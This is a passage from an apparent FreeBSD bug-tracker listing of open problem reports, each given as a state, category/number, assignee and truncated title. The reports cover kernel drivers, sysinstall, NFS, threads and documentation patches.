"Inappr p bin/50656 cp(1) - wrong error on copying of multiple files o kern/50574 mbr [dc] dc driver incorrectly detects ADMtek chip model o bin/50569 sh(1) doesn't handles ${HOME}/.profile correctly o kern/50526 [kernel] [patch] update to #! line termination o kern/50310 [libalias] [patch] natd / libalias fix to allow dcc re o bin/50300 [patch] make the loader(8) use of terminal-control seq o docs/50211 doc [patch] doc.docbook.mk: fix textfile creation o bin/50118 calendar(1) dumps core if there is ./calendar/ o misc/50106 [build] [patch] make 'make release' more flexible behi s threa/49087 threads Signals lost in programs linked with libc_r o kern/49039 [sio] [patch] add support for RS485 hardware where dir a bin/49023 gad [patch] to lpd(8) (printjob.c) to pass source filename o bin/48989 sysinstall(8): Sysinstall's partition editor gets con f kern/48976 gavin [modules] nwfs.ko oddity s bin/48962 des [patch] modify fetch(1) to allow bandwidth limiting o kern/48894 [nfs] Suggested improvements to the NFS read-ahead heu s threa/48856 threads Setting SIGCHLD to SIG_IGN still leaves zombies under o kern/48741 darrenr ipnat corrupts packets on gre interface with rul p bin/48730 obrien [patch] burncd(8) does not handle signals and causes d o alpha/48676 alpha Changing the baud rate of serial consoles for Alpha sy o gnu/48638 [libdialog] [patch] some bug fixes in libdialog o bin/48603 [patch] getopt(1) is broken o kern/48599 [syscons] [patch] syscons cut-n-paste logic is broken o kern/48471 pjd [jail] [patch] [request] private IPC for every jail o conf/48444 [patch] security.functions: count connection attempts o bin/48443 mtm [patch] periodic(8) executes too many files o kern/48425 Tape drive EOT handling problems in 4.7 o kern/48393 mckusick [ufs] ufs2 snapshot code bugs o bin/48341 sysinstall(8): changes the active slice flag when it p o conf/48325 [patch] /etc/periodic/security/100.chksetuid doesn't w p bin/48318 stefanf Segmentation fault in sh with attached script o bin/48309 ppp(8) pppoe connections fail to establish if throughp s kern/48279 [bktr] Brooktre878 may cause freeze o conf/48195 /var/db/mounttab error on diskless boot o bin/48183 marcel [patch] gdb(1) on a core(5)-file from a threaded proce o kern/48172 ipfw [ipfw] [patch] ipfw does not log size and flags o conf/48133 [patch] /etc/rc: improved vi recovery notification o docs/48101 doc [patch] add documentation on the fixit disk to the FAQ o kern/48062 mckusick mount -o snapshot doesn't work on +100GB disks p docs/47818 trhodes [patch] ln(1) manpage is confusing o bin/47815 [patch] stty(1) -all should work. s kern/47813 [gre] pseudo-device gre(4) doesn't appear to work with o conf/47596 [periodic] daily security run complains if timezone ch o docs/47594 remko [patch] passwd(5) incorrectly states allowed username o bin/47576 edwin [patch] factor(6)ing of negative numbers o conf/47566 [vinum] [patch] add vinum status verification to perio o bin/47540 [patch] Make natd(8) configurable in running state wit o bin/47384 sysinstall(8): sysinstall ignores intended destination o kern/47286 [request] make device probing verbose when using boot o kern/46973 [syscons] [patch] [request] syscons virtual terminals s conf/46913 darrenr ipf denied packets of security run output contains non o bin/46905 sysinstall(8): FreeBSD 5.x cannot be installed from mu o bin/46888 gad [patch] Add script run hook to newsyslog(8) o kern/46866 [libc] NIS-based getpwent(3) falsely returns NULL o bin/46758 [patch] moused(8) enhancements s conf/46746 No way to set link addresses through rc.conf o kern/46694 imp Getting DUP packets when in Promiscous mode on wi0 o bin/46676 ru [patch] [build] bsd.dep.mk restricts domain of tags co a kern/46647 silby Failure to initialize MII on 3Com NIC results in panic o conf/46453 [internationalization] cons25l2, ISO8859-2 and console o stand/46441 stefanf /bin/sh does not do parameter expansion in PS1, PS2, P o conf/46409 Certain periodic scripts check broken NFS mounts. o i386/46371 usb USB controller cannot be initialized on IBM Netfinity o bin/46352 [patch] login(1) open file descriptors and signal hand o bin/46328 gad [patch] patch for lpd(8) o bin/46235 matteo sysinstall(8): NTP servers for Finland require updatin o bin/46163 gad lpc(8) problem. Only root can modify despite man page o kern/46159 ipfw [ipfw] [patch] [request] ipfw dynamic rules lifetime f o stand/46119 standards Priority problems for SCHED_OTHER using pthreads o conf/46062 remko Remove skel from BSD.root.dist. s kern/46036 [RFE] select is unsuitable for implementing a periodic o bin/45995 markm telnet(1) fails to properly handle SIGPIPE on its term o bin/45990 dwmalone top(1) dumps core if specific errors in password file o kern/45896 dwmalone setnetgrent(3) should return error code o bin/45830 [kerberos] KDC has problems when listening to IPv6 and f i386/45773 net [bge] Softboot causes autoconf failure on Broadcom 570 o kern/45729 [libexec] [patch] make rbootd transfer the default fil o conf/45704 [patch] request to change cp866b font to cp866 o bin/45608 randi sysinstall(8): install should config all ether devices s kern/45568 gibbs [ahc] ahc(A19160) pci parity error o kern/45558 trhodes [msdosfs] mdconfig and msdosfs make fs writes hang s bin/45547 [patch] make burncd(8) handle .wav files. o bin/45529 gcooper [patch] hexdump(1) core-dumps with certain args o i386/45525 imp Dell Inspiron 7000 does not recognize PC-CARDs after r o kern/45373 mckusick softupdate / fs damaged after loss of power / CG 8: Ba o bin/45333 [patch] New option -r for chown(8) and chgrp(1) o docs/45303 remko Bug in PDF DocBook rendering o kern/45293 [libc] kevent denies to observe /dev/tty o bin/45272 dump(8) / restore(8) problem o conf/45226 rc [patch] Fix for rc.network, ppp-user annoyance o conf/45222 [patch] daily rejected mail hosts report too long p bin/45193 [patch] truss(1) can't truss itself p gnu/45168 Buffer overflow in /usr/bin/dialog o docs/45011 trhodes [patch] style(9): '->' and '.' don't require spaces o gnu/44984 bugmeister [patch] send-pr(1) can use environmental variable $FRO o bin/44915 randi sysinstall(8): 'choose installation media' choose CD-R o bin/44894 markm telnet(1): as a local non-root user and remote it's po o conf/44717 [patch] update login.conf and unify login capabilities o kern/44587 scsi dev/dpt/dpt.h is missing defines required for DPT_HAND o kern/44580 [nfs] NFS updates file access time when file is modifi o kern/44578 [nis] getnetgrent fails to read NIS netgroup map o gnu/44564 peter [patch] Aborted cvs session causes an endless loop in o docs/44519 obrien ftpd.conf(5) contains references to ftpd(8) when it is s bin/44518 yar ftpd(8) does not show OPIE OTP challenge o stand/44425 standards getcwd() succeeds even if current dir has perm 000. o kern/44372 roberto some kernel options prevent NTP clock synchronization o kern/44365 [headers] [patch] introduce ulong and unchar types o conf/44286 roberto /etc/defaults/rc.conf uses the obsolete ntpdate o kern/44267 [sio] [patch] One more modem PNP id for /usr/src/sys/i o bin/44212 [request] Unify 'recursive' options -r and -R o kern/44202 [rp] [patch] -stable rp driver does not work with mult o www/44181 www www "Release Information" organization o conf/44170 rc [patch] Add ability to run multiple pppoed(8) on start s bin/44122 ppp(8) tun0 gets a second ip adress after a disconnect o docs/44034 trhodes Multiple sysctl variables are not documented o java/43924 glewis writing from JAVA to a pipe sometimes hangs o kern/43905 jmg [kqueue] [patch] kqueues: EV_SET(kevp++, ...) is non-i o docs/43823 doc [patch] update to environ(7) manpage o bin/43819 [patch] changed truss(1) output for utrace calls o kern/43716 [puc] [patch] puc driver does not recognize Lava Dual- o kern/43625 imp [wi] wi(4) driver hangs after long data transfers o kern/43616 [zlib] [patch] static-ize some functions in sys/net/zl o kern/43611 [crypto] [patch] static-ize some symbols in sys/crypto a kern/43605 luigi enabling polling in the kernel causes page fault/crash o kern/43592 mktime(3) rejects dates at the start of daylight savin o bin/43582 [patch] passwd(1) fails on nonexistent users o kern/43577 [kernel] [patch] [request] new kernel option SHUTDOWN_ o kern/43576 imp Problem with wi driver and Lucent Orinoco Silver wirel o kern/43501 getpwnam(3), getpwuid fail when linking against Berkle o conf/43500 [patch] rc.syscons "allscreens" improvements s bin/43497 mount(8): mount -t nfs -> crunchgen incompatible o docs/43470 blackend solid-state article out of date (x109). o bin/43434 [patch] new option to dmesg(8) which allows to display o bin/43368 krion pkg_create(1) fails if target directory does not exist o bin/43367 incorrect report from who(1) after 'shutdown now' from a i386/43366 cy Cannot format media in USB floppy devices o kern/43355 idad driver will work if logical drives dont start at o bin/43337 des fetch(1) -s fails if -4 or possibly other options give o kern/42983 imp wi0 sporadically freezes the system for 1-2 seconds o bin/42974 [patch] syslogd(8): add ISO 8601 date format option o kern/42956 [libc] dlclose gives "invalid shared object handle" wh o kern/42801 [hang] FreeBSD freezes when opening cuaa0 with a motor o kern/42728 embedded [picobsd] many problems in src/usr.sbin/ppp/* after c o gnu/42726 cvsadm cvs -R pserver & val-tags: story continues o bin/42658 markm recompile telnetd(8) and log NULL ip in /var/wtmp o kern/42621 imp Dell Inspiron 5000e hangs when using Orinoco or Cisco o kern/42461 mdodd if_wi_pci.c,if_wi_pccard.c lack device_resume/device_s o kern/42442 problem in idlequeue/debugging mode ? o kern/42429 [libc] [patch] hash_action called with HASH_DELETE doe o kern/42422 [libc] [patch] dbm_delete returns -1 instead of 1 when o bin/42407 ppp(8) IPV6CP fails o kern/42387 [librpcsvc] [patch] cleaning code of librpcsvc from wa o kern/42386 [libkvm] [patch] cleaning code from warnings in libkvm o bin/42336 [patch] ISO-fication of /usr/src/contrib/tcp_wrappers: o kern/42274 [kernel] [patch] Convert defined variable into tuneabl o kern/42217 [libdisk] libdisk segfaults with 1024 bytes/sector dis o bin/42162 randi sysinstall(8): after restart, installation crashes, md o misc/42115 luigi [picobsd] [patch] fix build script for 4.6-STABLE o bin/42093 [nis] ypbind(8) hangs on NIC with the lowest scopeid o kern/42089 phk ntp_gettime returns time in wrong scale o bin/42084 luigi [picobsd] PicoBSD's 'netstat -i' reports negative Ipkt o bin/42022 randi sysinstall(8): non-interactive mode prompts when only o bin/42018 krion pkg_info(1) with PKG_PATH searches through tarred pkgs s bin/42004 mpp [quotas] quota is still IPv4 only, and not INET indepe o bin/41949 sysinstall(8): sysinstall sorts /etc/rc.conf during ne s bin/41947 gcooper [patch] hexdump(1) unprintable ASCII enhancement o docs/41919 blackend MINI kernel for bootfloppy (Handbook p.342) contains e o docs/41879 hrs [patch] cleanup to DOCROOT/share/sgml/freebsd.dsl o bin/41850 sysinstall(8): sysinstall fails to create root filesys o docs/41824 murray [patch] LANG is not documented in setlocale(3) o bin/41817 [patch] pw(8): pw groupshow doesn't include the login o conf/41777 [patch] /etc/periodic/daily/100.clean-disks removes li o bin/41674 [patch] iostat(8) column formatting overlaps s bin/41647 net ifconfig(8) doesn't accept lladdr along with inet addr o kern/41632 luigi bridging when one interface has no carrier a bin/41583 [patch] mtree(8) assorted mtree bugs p stand/41576 standards POSIX compliance of ln(1) o bin/41556 obrien [patch] wtmp patch for ftpd(8) o kern/41543 emulation [patch] [request] easier wine/w23 support o bin/41526 mount(8) symlinked mount points get mounted more than o bin/41410 stefanf sh(1) bug on expanding $? in here-documents o i386/41364 imp [pccard] NewMedia "Bus Toaster" SCSI card w/ Advansys o kern/41307 [libalias] [patch] logging of links lifecycle (add/del o bin/41297 mp tcsh(1)/csh(1) backquote/braces expansion bug o bin/41271 matteo [patch] non-suid crontab(1) o conf/41242 periodic scripts make unwarranted assumptions about PA o kern/41216 [nfs] Get "NFS append race" error o kern/41215 [keyboard] console revert back to kbd0 (AT) after KVM o bin/41213 top(1) blocks if NIS-related entries in passwd(5) are o bin/41190 [patch] sed(1) report the { linenum instead of EOF lin s misc/41179 [request] LD_LIBRARY_PATH security checks o bin/41159 [patch] new sed(1) -c option to allow ; as a separator o docs/41089 doc pax(1) -B option does not mention interaction with -z o usb/40948 usb [umass] [request] USB HP CDW8200 does not work o kern/40895 scsi wierd kernel / device driver bug o conf/40777 [patch] disktab does not support 2.88MB floppies s threa/40671 threads pthread_cancel doesn't remove thread from condition qu o bin/40597 [patch] add fdisk(8) ability of showing extended parti o bin/40572 vipw(8) prints silly message if $EDITOR fails o docs/40423 doc Keyboard(4)'s definition of parameters to GETFKEY/SETF o kern/40369 [kernel] [patch] rman_reserve_resource - when "count > a bin/40282 [patch] kill(1) has bad error checking for command lin o bin/40260 sysinstall(8): hang when detecting devices (No CD/DVD o bin/40215 [nis] NIS host search not terminate o kern/40206 Can not assign alias to any POINTOPOINT interface o gnu/40057 bugmeister send-pr -a flag does not work with -f s kern/40021 [build] [patch] use ld(1) to build kernel with linked- o kern/40017 [patch] allows config(8) to specify config metadata di o conf/39976 vi recovery halting boot process s kern/39937 net ipstealth issue o kern/39928 imp [wi] wi0 timeouts and hangs the system while sending d s threa/39922 threads [threads] [patch] Threaded applications executed with o bin/39849 restore(8) fails to overwrite files with schg flag set o kern/39681 [sysctl] [patch] add hidden kernel boot tunables to sy o ports/39660 portmgr [patch] add ${PKGNAMEPREFIX} to (DOCS|EXAMPLES)DIR s conf/39580 insecure default settings o kern/39527 dwmalone getcwd() and unreadable parent directory o conf/39505 [patch] automate BUILDNAME variable for releases o bin/39463 mtm [patch] Add several options to fingerd(8) o bin/39439 tcopy(1) will not duplicate tapes with block size larg o kern/39388 scsi ncr/sym drivers fail with 53c810 and more than 256MB m o kern/39329 [mount] '..' at mountpoint is subject to the permissio o stand/39256 standards snprintf/vsnprintf aren't POSIX-conformant for strings o kern/39252 [syscons] [patch] syscons doesn't support 8-bit contro f kern/39233 bz [ipsec]: NonConforming IPsec implementation from FreeB o kern/39201 emulation [linux] [patch] ptrace(2) and rfork(RFLINUXTHPN) confu o docs/38982 doc [patch] developers-handbook/Jail fix o bin/38940 [request] an option to *stat to allow supressing of he o misc/38937 delay between tracks in digital audio dumps from CD wi o bin/38854 sysinstall(8): resetting during setup causes the targe o kern/38828 scsi [dpt] [request] DPT PM2012B/90 doesn't work o kern/38749 kientzle Diskless booting fails with some DHCP servers (no root s kern/38730 philip Memorex scrollpro mouse is not fully functional o bin/38727 [patch] mptable(1) should complain about garbage argum o kern/38626 luigi dummynet/traffic shaper: RED: max_th and min_th are li o bin/38610 randi sysinstall(8): should be able to mount ISO images on D s bin/38609 sysinstall(8): [request] sysinstall should know the si s ports/38593 portmgr [request] Third level ports o docs/38556 doc EPS file of beastie, as addition to existing examples a kern/38554 net [patch] changing interface ipaddress doesn't seem to w o bin/38478 sysinstall(8): In Choose Distributions screen, it's di s kern/38347 [libutil] [patch] [request] new library function abs2r o bin/38256 [patch] linking pax(1) to pax_{cpio|tar} o bin/38168 [patch] [request] installing curses-based versions of o docs/38061 ume [patch] typos in man pages for faith(4) & faithd(8) o bin/38057 sysinstall(8): "install" document doesn't display corr o bin/38056 sysinstall(8): User (creation)'s "Member groups" item o bin/38055 sysinstall(8): Groups (creation) item should be before o alpha/38031 alpha osf1.ko not loaded during boot-time of linux-emu enabl o gnu/37910 bugmeister [patch] make send-pr(1) respect &'s in /etc/{master.}p o bin/37844 [patch] [build] make knob to not install progs with su o docs/37719 kensmith [request] Detail VOP_ naming in a relevant man-page o bin/37710 sysinstall(8): LAN interface in wrong state after atte s threa/37676 threads libc_r: msgsnd(), msgrcv(), pread(), pwrite() need wra o bin/37672 pw(8) prints warnings after successful NIS map updates o kern/37600 multimedia [sound] [partial patch] t4dwave drive doesn't record. o kern/37589 imp Kernel panics upon resume from zzz on my IBM ThinkPad o conf/37569 matteo [patch] Extend fstab(5) format to allow for spaces in o kern/37555 [kernel] [patch] vnode flags appear to be changed in n o kern/37554 jmg [vm] [patch] make ELF shared libraries immutable once o i386/37523 davidxu [i386] [patch] lock for bios16 call and vm86call o bin/37442 [patch] sleep(1) to support time multipliers s kern/37441 davidxu [isa] [patch] ISA PNP parse problem o bin/37437 [patch] [request] Add HTTP-style support to vis(1)/unv o kern/37326 [bktr] smbus/bktr crash when omitting "device iicsmb" o bin/37160 sysinstall(8): coredumps when trying to load package d o bin/37083 [patch] [request] small improvement to talk(1): add cl o bin/37013 [patch] ls(1) directory name output trailing slash dup o bin/36960 calendar(1) doesn't effect -t option. o kern/36952 ldd comand of linux does not work o gnu/36926 bugmeister [patch] send-pr destroys PR if emacs interrupt charact o kern/36916 randi [libdisk] [patch] DOS active partition flag lost in li o kern/36911 [ata] ATA cannot be disabled with hints or through BIO o kern/36902 [libc] [patch] proposed new format code %N for strftim s ports/36901 glewis WITHOUT_X11 Knob for port java/jdk13 s bin/36786 make ps(1) use 24-hour time by default o kern/36784 Can't fcntl(fd, F_SETFL, ...) on a pseudo-tty s bin/36740 make ps(1) obey locale (particularly for times) o docs/36724 darrenr ipnat(5) manpage grammar is incomplete and inconsisten o kern/36626 login_cap(3) incorrectly claims that all resources fre o kern/36566 fs [smbfs] System reboot with dead smb mount and umount o bin/36556 [patch] regular expressions for tcpwrappers o bin/36553 gad [patch] [request] Two new features in newsyslog(8) o bin/36501 calendar(1) can't handle recurring items in the next m s gnu/36460 cu(1) program does not work very well. a kern/36451 [bktr] [patch] Japan IF frequency is incorrect f docs/36432 gabor Proposal for doc/share/mk: make folded books using psu o kern/36415 [bktr] [patch] driver incorrectly handles the setting o bin/36385 luigi crunchgen(1) does not handle Makefiles with includes p o bin/36374 [patch] apmd(8): fix core dumps, other improvements o bin/36262 [patch] Fixed rusers(1) idle-time reporting to use min o kern/36170 [an] [patch] an(4) does an_init() even if interface is o bin/36143 [patch] moused(8): add dynamic (non linear) mouse acce o bin/36118 sysinstall(8): 4.5 Upgrade says it won't touch /usr/sr a bin/36110 dmesg(8) output corrupt if /dev/console is busy s stand/36076 standards Implementation of POSIX fuser command a bin/35985 sysinstall(8): swap double mount o bin/35886 [patch] pax(1) enhancement: custom time format for lis o gnu/35878 /usr/bin/strip resets ABI type to FreeBSD o kern/35774 [libutil] logwtmp: Suboptimal auditing possibilities f o bin/35769 w(1) does not correctly interpret X sessions o bin/35717 which(1) returns wrong exit status for multiple argum s docs/35678 doc docproj Makefiles for web are broken for paths with sp o kern/35669 [nfs] NFSROOT breaks without a gateway o docs/35652 trhodes bsd.README seriously obsolete o bin/35568 make(1) declares target out of date, but $? is empty o conf/35545 [patch] enhanced periodic scripts: 100.clean-disks, 10 o misc/35542 bde [build] [patch] BDECFLAGS needs -U__STRICT_ANSI__ o kern/35442 net [sis] [patch] Problem transmitting runts in if_sis dri o kern/35429 select(2)/poll(2)/kevent(2) can't/don't notice lost co o bin/35400 randi sysinstall(8): sysinstall could improve manipulation o o kern/35399 poll(2) botches revents on dropped socket connections o kern/35396 poll(2) doesn't set POLLERR for failed connect(2) atte o kern/35377 process gets unkillable (-9) in "ttywai" state o kern/35289 [bktr] [patch] Brooktree device doesnt properly signal o kern/35262 [boot2] [patch] generation of boot block for headless o kern/35234 scsi World access to /dev/pass? (for scanner) requires acce o bin/35214 obrien dump(8) program hangs while exiting o bin/35113 [patch] grdc(6) enhancement: countdown timer mode o bin/35109 edwin [patch] morse(6) add ability to decode morse code o kern/34880 luigi Impossibility of grouping IP into a pipe for traffic s o kern/34842 [nis] [patch] VmWare port + NIS causes "broadcast stor o bin/34811 sh(1) "jobs" is not pipeable o bin/34788 dwmalone dmesg(8) issues with console output o bin/34728 DHCP hostname set as Hexadecimal string o kern/34665 net [ipf] [hang] ipfilter rcmd proxy "hangs". o bin/34628 portmgr [patch] pkg_add(1) pkg-routines ignore the recorded md s threa/34536 threads accept() blocks other threads o bin/34497 calendar(1) does not understand calendars o kern/34470 bde Modem gets sio1 interrupt-level buffer overflows' o bin/34412 [patch] tftp(1) will still try and receive traffic eve o bin/34309 gad lpd(8) does not garantie that controlfiles begin with o bin/34270 man(1) -k could be used to execute any command. o docs/34239 trhodes tunefs(8) man page doesn't describe arguments. s bin/34171 yar ftpd(8) indiscrete about unprivileged user accounts o bin/34146 newfs(8) defaults and vfs.usermount=1 tug at one anoth o gnu/34128 sdiff "e" doesn't work with some editors o kern/33965 [keyboard] [patch] programmable keys of the keyboard ( a kern/33963 bde Messages at the serial IO port device probe are mislea o kern/33834 strptime(3) is misleading o bin/33809 mux [patch] mount_nfs(8) has trouble with embedded ':' in o bin/33774 [patch] for killall(1) a bin/33661 PAP AuthAck/AuthNak parsing problem in pppd(8) s docs/33589 doc [patch] to doc.docbook.mk to post process .tex files. o kern/33464 soft update inconsistencies after system crash o kern/33203 [nfs] "got bad cookie" errors on NFS client o bin/33182 marcel gdb(1) seg faults when given handle SIGALRM nopass for o bin/33066 kensmith sysinstall(8): does not write to new disks as expected o bin/32828 jail [jail] w(1) incorrectly handles stale utmp slots with o kern/32812 [bktr] bktr driver missing tuner for eeprom detection. o bin/32808 dwmalone [patch] tcpd.h lacks prototype for hosts_ctl o bin/32667 systat(1) waste too much time reading input o bin/32619 des libfetch does not use RFC 1738's definiton of ftp: URL o bin/32501 maxim quot(8) is stupid regarding the filesystem option a bin/32411 shutdown(8) absolute-time handling could be more usefu a bin/32375 sysinstall(8): sysinstall doesn't respect User generat o bin/32374 vi(1) -r doesn't work, file contained unexpected binar s threa/32295 threads [libc_r] [patch] pthread(3) dont dequeue signals s conf/32108 Proposed Firewall (IPv4) configuration script o bin/31987 [patch] allow dump(1) to notify operators by mail(1) o bin/31985 New /etc/remote flag for tip(1) to append LF to CR o kern/31981 [libc] [patch] (mis)feature in getnetent parsing -- co o kern/31940 kmacy ip queue length too short o bin/31933 pw(8) can interpret numeric name as userid during user o kern/31906 [libc] No method available to unwind atexit(3) stack w o kern/31890 [syscons] [patch] new syscons font o gnu/31772 New option in dialog(1) o kern/31708 VM system / fsync / flushing delayed indefinitely? s kern/31686 andre Problem with the timestamp option when flag equals zer o kern/31647 net [libc] socket calls can return undocumented EINVAL o bin/31588 change request to allow mount(8) to set the MNT_IGNORE o bin/31387 mailwrapper(8): When getuid(2)=0, mailwrapper should d o kern/31380 [nfs] NFS rootfs mount failure message too cryptic o bin/31363 sysinstall(8): "partition editor" silently corrects pa s bin/31304 [patch] fix crunchgen(1) to work with more contrib-kin o kern/31201 [libdisk] [patch] add free_space(chunk) to libdisk o kern/31048 des [linprocfs] /proc/meminfo cannot handle multiple swap o bin/31034 dwmalone regularly add original address logging for tcpwrappers o conf/30938 [patch] Improving behavior of /etc/periodic/daily/110. o usb/30929 usb [usb] [patch] use usbd to initialize USB ADSL modem o bin/30863 bootpd(8) dovend.c Win95 compatibility improvement and o bin/30854 bootpd(8) bootpgw change - skip ARP modifications by o o conf/30812 [patch] giant termcap database update a bin/30737 sysinstall(8): sysinstall leaks file descriptors on re o bin/30654 gad [patch] Added ability for newsyslog(8) to archive logs o conf/30590 /etc/hosts.equiv and ~/.rhosts interaction violates PO o bin/30542 [patch] add -q option to shut up killall(1) o bin/30517 randi sysinstall(8): using sysinstall with install.cfg has n s threa/30464 threads pthread mutex attributes -- pshared o bin/30424 Generalization of vipw(8) to lock pwdb while being edi o conf/30399 brueffer [bsd.cpu.mk] [patch] Have Fortran use the CPUTYPE vari o bin/30360 vmstat(8) returns impossible data o kern/30321 [patch] strftime(3) '%s' format does not work properly s i386/30206 mdodd [boot] PS/2 server 85 can't boot kern.flp o kern/30186 net [libc] getaddrinfo(3) does not handle incorrect servna o kern/30052 mbr [dc] [patch] dc driver queues outgoing pkts indefinite a docs/30008 doc [patch] French softupdates document should be translat o bin/29903 [nis] ypbind(8) loses connection to NIS master and nev o bin/29897 des [patch] pam_unix(8) loginclass passwd_prompt p bin/29893 kensmith sysinstall(8): suggestions for 4.4 sysinstall o bin/29808 [nis] ypserv(8) dumps core in yp_find_db o kern/29698 emulation [linux] [patch] linux ipcs doesn'work o bin/29516 markm telnet(1) from an non FreeBSD host still uses /etc/tty s kern/29423 [request] [patch] new feature: kernel security hooks i f kern/29421 alc Update a file with mmap will cause mtime/ctime changin o bin/29375 sysinstall(8): disk editor gets confused by slices tha o bin/29363 gad [patch] newsyslog(8) can support time as extension o kern/29355 mux [kernel] [patch] add lchflags support s bin/29292 [patch] addition to burncd(8) for specific handling of a bin/29253 natd(8) forgets about udp connections o bin/29062 markm [libkrb] krb4 and krb5 multiply defined version symbol s i386/28975 [rp] RocketPort problems s kern/28840 gibbs [cam] Possible interrupt masking trouble in sys/cam/ca o bin/28798 mail(1) with a pager (more) requires fg/Ctrl-Z/fg to r o bin/28789 last(1) does not filter for uucp connects o bin/28620 ru xinstall(1) has no way to pass options to strip o bin/28424 remko mtree(8) fails to report directory hierarchy mismatch o bin/28364 [patch] flex(1) generated files fail to compile cleanl o conf/28236 [patch] iso-8859-1_to_cp437.scm doesn't contain some u a bin/28223 remko su(1) doesn't look at login.conf all the time o bin/27972 losing information with talk(1) a conf/27896 Error in /etc/exports invalidates entire line, not jus o kern/27835 standards [libc] execve() doesn't conform to execve(2) spec in s o bin/27829 pax(1) uid/gid cache is read-only o bin/27687 fsck(8) wrapper is not properly passing options to fsc o kern/27660 Kernel does not return error if adding duplicate addre o docs/27605 doc [patch] Cross-document references () o kern/27474 net [ipf] [ppp] Interactive use of user PPP and ipfilter c o kern/27403 [lpt] lpt driver doesn't handle flags anymore o bin/27319 obrien df(1) displays amd pid processes o bin/27306 marcel [patch] hw watchpoints work unreliable under gdb(1) o bin/27281 vidcontrol(1) does not have error codes o bin/27258 getty(8) didn't check if if= isn't empty o kern/27232 [nfs] On NFSv3 mounted filesystems, stat returns st_bl o bin/27216 randi sysinstall(8): can not get to shell prompt from serial o kern/27008 kernel function sysbeep(xxx, 0) does produce sound s bin/26803 des ftp(1) Fix fetch to allow FTP puts in '-o' & allow '@' o kern/26787 [patch] sysctl change request o bin/26695 change request: kill(1)/killall(1) -l output o kern/26562 [lpt] [patch] /dev/lpt0 returns EBUSY when attempting a kern/26534 ipfw [ipfw] Add an option to ipfw to log gid/uid of who cau o bin/26486 remko [libc] [patch] setnetgrent hangs when netgroup contain a gnu/26362 "cvs server" doesn't honour the global --allow-root a kern/26348 [pcvt] scon -s, page fault in HP mode o docs/26286 doc *printf(3) etc should gain format string warnings o kern/26261 [sio] silo overflow problem in sio driver f kern/26142 vwe [nfs] Unlink fails on NFS mounted filesystem o bin/26005 vis(1)/unvis(1) MIME quoted-printable encoding added t a docs/26003 standards getgroups(2) lists NGROUPS_MAX but not syslimits.h f kern/25986 silby Socket would hang at LAST_ACK forever. o kern/25950 obrien [asr] Bad drives on asr look zero-length and panic on o kern/25886 [libc] cgetset(3) doesn't get cleared when switching d o bin/25736 ac(8) -d option probrem with overdays logon o kern/25733 [intpm] mismatch between error reporting in smbus fram s bin/25598 yar patch to let ftpd(8) output message when changing dire o bin/25542 standards sh(1) null char in quoted string s bin/25477 [pam] [patch] pam_radius(8) fix to allow null password o kern/25445 kernel statistics are displayed in wrong types and wra o alpha/25284 alpha PC164 won't reboot with graphics console o bin/25218 mailwrapper(8) invokes sendmail when resources are tig o bin/25015 cp(1) options -i and -f do not work as documented o bin/25013 mv(1) cannot move unresolvable symlinks across devices f kern/24959 kmacy [patch] proper TCP_NOPUSH/TCP_CORK compatibility o docs/24786 doc missing FILES descriptions in sa(4) o bin/24757 yar ftpd(8) not RFC compliant s threa/24632 threads libc_r delicate deviation from libc in handling SIGCHL f kern/24629 harti ng_socket failes to declare connected data sockets as s stand/24590 standards timezone function not compatible witn Single Unix Spec o kern/24528 Bad tracking of Modem status o bin/24513 peter new options for pppd(8) o bin/24485 [patch] to make cron(8) handle clock jumps s threa/24472 threads libc_r does not honor SO_SNDTIMEO/SO_RCVTIMEO socket o o bin/24461 [nis] Being able to increase the YP timeout without re o kern/24435 [libdisk] [patch] changing slice type causes Auto-part o bin/24390 standards ln(1) Replacing old dir-symlinks when using /bin/ln o bin/24066 marcel gdb(1) can't detach from programs linked with libc_r a bin/23912 vi(1) underflow of cnt in vs_paint() by O_NUMBER_LENGT o bin/23562 markm [patch] telnetd(8) doesn't show message in file specif o kern/23546 multimedia [snd_csa] [patch] csa DMA-interrupt problem a bin/23402 sysinstall(8): upgrade ought to check partition sizes a bin/23254 [patch] yacc(1) accepts bad grammer o bin/23098 sysinstall(8): [patch] if installing on a serial conso o conf/23063 net [arp] [patch] for static ARP tables in rc.network s i386/22944 alc [vm] [patch] isa_dmainit fails on machines with 512MB o misc/22914 [bootinst] bootinst messages are not updated s kern/22417 gibbs [adw] [patch] advansys wide scsi driver does not suppo o conf/22308 [nfs] mounting NFS during boot blocks if host map come o kern/22291 [nfs] getcwd(3) fails on recently-modified NFS-mounted o bin/22182 vi(1) options noprint/print/octal broken s bin/22034 [request] nfsstat(1) lacks useful features found in So o kern/21998 kmacy [socket] [patch] ident only for outgoing connections a kern/21807 trhodes [msdosfs] [patch] Make System attribute correspond to o conf/21675 [patch] Better and more disktab entries for MO drives o i386/21672 obrien [i386] AMD Duron Rev. A0 reports incorrect L2 cache si o stand/21519 standards sys/dir.h should be deprecated some more o kern/21463 emulation [linux] Linux compatability mode should not allow setu o bin/21315 Shells often behave oddly when executing shell scripts a bin/21089 [patch] vi(1) silently corrupts open file on SIGINT wh o bin/21008 gad lpr(1) Fix for lpr's handling of lots of jobs in a que o bin/20944 natd(8) enhancements, default config file and manpage o bin/20633 fdisk(8) doesn't handle LBA correctly o kern/20529 [ti] gigabit cards fail to link s bin/20521 rmt(8) /etc/rmt several problems o bin/20501 [patch] dump(8) extra flag to dump to offline autoload o bin/20391 jhb sysinstall(8): sysinstall should check debug.boothowto s kern/20333 des [libpam] ftp login fails on unix password when s/key a o bin/20282 randi sysinstall(8): sysinstall does not recover some /etc f o bin/20172 yacc(1) byacc 1.9 fails to generate $default transitio o bin/20054 yar ftpd(8) rotating _PATH_FTPDSTATFILE losts xferlog s docs/20028 doc ASCII docs should reflect tags in the sourc f kern/19913 silby add SYN+FIN counter o gnu/19882 obrien ld does not detect all undefined symbols! o bin/19837 ambrisko sysinstall(8): [patch] run Fix It floppy from serial p a kern/19782 mkisofs 1.12.1 (i386-unknown-freebsd4.0) doesn't prese s bin/19773 markm [patch] telnet(1) infinite loop depending on how fds a o bin/19772 df(1) output wrong for union-mounts o kern/19756 Inability to use linux extended partition (type 0x85) o bin/19683 mount(8) displays incorrect mount point on failed moun s conf/19573 des Dot Files for Optional Shells s kern/19535 [procfs] [patch] procfs_rlimit tidyup s kern/19402 Signals 127 and 128 cannot be detected in wait4() inte o kern/18909 dwmalone select(2) timeout limited to 100000000 seconds o kern/18874 fs [2TB] 32bit NFS servers export wrong negative values t o gnu/18857 peter Enable GSSAPI in CVS if available s kern/18704 GLOB_ERR not handled correctly by glob() s kern/18558 silby [xl] 3COM 